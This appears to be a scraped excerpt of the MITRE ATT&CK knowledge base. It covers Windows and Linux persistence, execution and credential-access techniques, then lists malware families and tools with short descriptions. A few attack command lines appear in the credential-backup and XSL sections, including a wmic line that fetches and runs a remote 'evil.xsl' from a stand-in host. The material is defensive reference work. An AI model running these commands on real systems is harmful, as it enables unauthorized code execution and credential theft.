Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up…” button on the “Stored User Names and Passwords” GUI.

Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
T1222.001Windows File and Directory Permissions ModificationAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLs using built-in Windows commands, such as icaclscaclstakeown, and attrib, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility FeaturesBoot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.
T1047Windows Management InstrumentationAdversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)
T1546.003Windows Management Instrumentation Event SubscriptionAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer’s uptime.(Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
T1084Windows Management Instrumentation Event SubscriptionWindows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
T1021.006Windows Remote ManagementAdversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with Windows Management Instrumentation.(Citation: MSDN WMI)
T1028Windows Remote ManagementWindows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
T1543.003Windows ServiceAdversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as “Bring Your Own Vulnerable Driver” (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).
T1004Winlogon Helper DLLWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon</code> and `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)`

` Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) - Winlogon\Notify - points to notification package DLLs that handle Winlogon events - Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on - Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence. `
T1547.004Winlogon Helper DLLAdversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon</code> and `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)`

` Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) - Winlogon\Notify - points to notification package DLLs that handle Winlogon events - Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on - Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. `
T1595.003Wordlist ScanningAdversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites).

For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force).

As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.
T1547.013XDG Autostart EntriesAdversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)

Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)

Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use Masquerading to make XDG autostart entries look as if they are associated with legitimate programs.
T1559.003XPC ServicesAdversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application’s XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.
T1220XSL Script ProcessingAdversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- msxsl.exe customers[.]xml script[.]xsl
- msxsl.exe script[.]xsl script[.]xsl
- msxsl.exe script[.]jpeg script[.]jpeg

Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ “Squiblydoo” counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

- Local File: wmic process list /FORMAT:evil[.]xsl
- Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”

Software

IDNameDescription
S00663PARA RAT3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)
S00654H RAT4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)
S0677AADInternalsAADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)
S0469ABKABK is a downloader that has been used by BRONZE BUTLER since at least 2019.(Citation: Trend Micro Tick November 2019)
S1028Action RATAction RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.(Citation: MalwareBytes SideCopy Dec 2021)
S0202adbupdadbupd is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)
S0552AdFindAdFind is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)
S0045ADVSTORESHELLADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)
S0331Agent TeslaAgent Tesla is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)
S0092Agent.btzAgent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)
S1025AmadeyAmadey is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)
S0504AnchorAnchor is one of a family of backdoor malware that has been used in conjunction with TrickBot on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)
S0584AppleJeusAppleJeus is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. AppleJeus has been used by Lazarus Group, targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. AppleJeus has been used to distribute the FALLCHILL RAT.(Citation: CISA AppleJeus Feb 2021)
S0622AppleSeedAppleSeed is a backdoor that has been used by Kimsuky to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)
S0456Aria-bodyAria-body is a custom backdoor that has been used by Naikon since approximately 2017.(Citation: CheckPoint Naikon May 2020)
S0099ArpArp displays and modifies information about a system’s Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)
S0073ASPXSpyASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)
S0373AstarothAstaroth is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)
S0110atat is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)
S0438AttorAttor is a Windows-based espionage platform that has been seen in use since 2013. Attor has a loadable plugin architecture to customize functionality for specific targets.(Citation: ESET Attor Oct 2019)
S0347AuditCredAuditCred is a malicious DLL that has been used by Lazarus Group during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)
S1029AuTo StealerAuTo Stealer is malware written in C++ has been used by SideCopy since at least December 2021 to target government agencies and personnel in India and Afghanistan.(Citation: MalwareBytes SideCopy Dec 2021)
S0129AutoIt backdoorAutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.
S0640AvaddonAvaddon is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)
S0473AvengerAvenger is a downloader that has been used by BRONZE BUTLER since at least 2019.(Citation: Trend Micro Tick November 2019)
S1053AvosLockerAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)
S0344AzorultAzorult is a commercial Trojan that is used to steal information from compromised hosts. Azorult has been observed in the wild as early as 2016.
In July 2018, Azorult was seen used in a spearphishing campaign against targets in North America. Azorult has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)
S0638BabukBabuk is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of Babuk employ a “Big Game Hunting” approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)
S0414BabySharkBabyShark is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)
S0475BackConfigBackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.(Citation: Unit 42 BackConfig May 2020)
S0093Backdoor.OldreaBackdoor.Oldrea is a modular backdoor that used by Dragonfly against energy companies since at least 2013. Backdoor.Oldrea was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)
S0031BACKSPACEBACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)
S0606Bad RabbitBad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
S0245BADCALLBADCALL is a Trojan malware variant used by the group Lazarus Group. (Citation: US-CERT BADCALL)
S0642BADFLICKBADFLICK is a backdoor used by Leviathan in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)
S0128BADNEWSBADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)
S0337BadPatchBadPatch is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)
S0234BandookBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as “Operation Manul”.(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)
S0239BankshotBankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)
S0534BazarBazar is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. Bazar reportedly has ties to TrickBot campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)
S0470BBKBBK is a downloader that has been used by BRONZE BUTLER since at least 2019.(Citation: Trend Micro Tick November 2019)
S0127BBSRATBBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)
S0574BendyBearBendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.(Citation: Unit42 BendyBear Feb 2021)
S0017BISCUITBISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)
S0268BisonalBisonal is a remote access tool (RAT) that has been used by Tonto Team against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)
S0570BitPaymerBitPaymer is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. BitPaymer uses a unique encryption key, ransom note, and contact information for each operation. BitPaymer has several indicators suggesting overlap with the Dridex malware and is often delivered via Dridex.(Citation: Crowdstrike Indrik November 2018)
S0190BITSAdminBITSAdmin is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)
S1070Black BastaBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)
S1068BlackCatBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)
S0069BLACKCOFFEEBLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)
S0089BlackEnergyBlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
S0564BlackMouldBlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)
S0520BLINDINGCANBLINDINGCAN is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)
S0521BloodHoundBloodHound is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)
S0657BLUELIGHTBLUELIGHT is a remote access Trojan used by APT37 that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)
S0486BonadanBonadan is a malicious version of OpenSSH which acts as a custom backdoor. Bonadan has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)
S0360BONDUPDATERBONDUPDATER is a PowerShell backdoor used by OilRig. It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)
S0635BoomBoxBoomBox is a downloader responsible for executing next stage components that has been used by APT29 since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
S0415BOOSTWRITEBOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications used by FIN7.(Citation: FireEye FIN7 Oct 2019)
S0114BOOTRASHBOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)
S0651BoxCaonBoxCaon is a Windows backdoor that was used by IndigoZebra in a 2021 spearphishing campaign against Afghan government officials. BoxCaon’s name stems from similarities shared with the malware family xCaon.(Citation: Checkpoint IndigoZebra July 2021)
S0252Brave PrinceBrave Prince is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to Gold Dragon, and was seen along with Gold Dragon and RunningRAT in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)
S0204BribaBriba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)
S1063Brute Ratel C4Brute Ratel C4 is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. Brute Ratel C4 was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)
S0014BS2005BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)
S0043BUBBLEWRAPBUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)
S0471build_downerbuild_downer is a downloader that has been used by BRONZE BUTLER since at least 2019.(Citation: Trend Micro Tick November 2019)
S1039BumblebeeBumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of “bumblebee” in the user-agent.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)
S0482BundloreBundlore is adware written for macOS that has been in use since at least 2015. Though categorized as adware, Bundlore has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)
S0119CachedumpCachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)
S0693CaddyWiperCaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)
S0454CadelspyCadelspy is a backdoor that has been used by APT39.(Citation: Symantec Chafer Dec 2015)
S0025CALENDARCALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)
S0274CalistoCalisto is a macOS Trojan that opens a backdoor on the compromised machine. Calisto is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)
S0077CallMeCallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)
S0351CannonCannon is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)
S0030CarbanakCarbanak is a full-featured, remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)
S0484CarberpCarberp is a credential and information stealing malware that has been active since at least 2009. Carberp’s source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)
S0335CarbonCarbon is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. Carbon has been selectively used by Turla to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)
S0348Cardinal RATCardinal RAT is a potentially low volume remote access trojan (RAT) observed since December 2015. Cardinal RAT is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)
S0465CARROTBALLCARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.(Citation: Unit 42 CARROTBAT January 2020)
S0462CARROTBATCARROTBAT is a customized dropper that has been in use since at least 2017. CARROTBAT has been used to install SYSCON and has infrastructure overlap with KONNI.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)
S0261CatchamasCatchamas is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)
S0572Caterpillar WebShellCaterpillar WebShell is a self-developed Web Shell tool created by the group Volatile Cedar.(Citation: ClearSky Lebanese Cedar Jan 2021)
S0222CCBkdrCCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner’s distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)
S1043ccf32ccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.(Citation: Bitdefender FunnyDream Campaign November 2020)
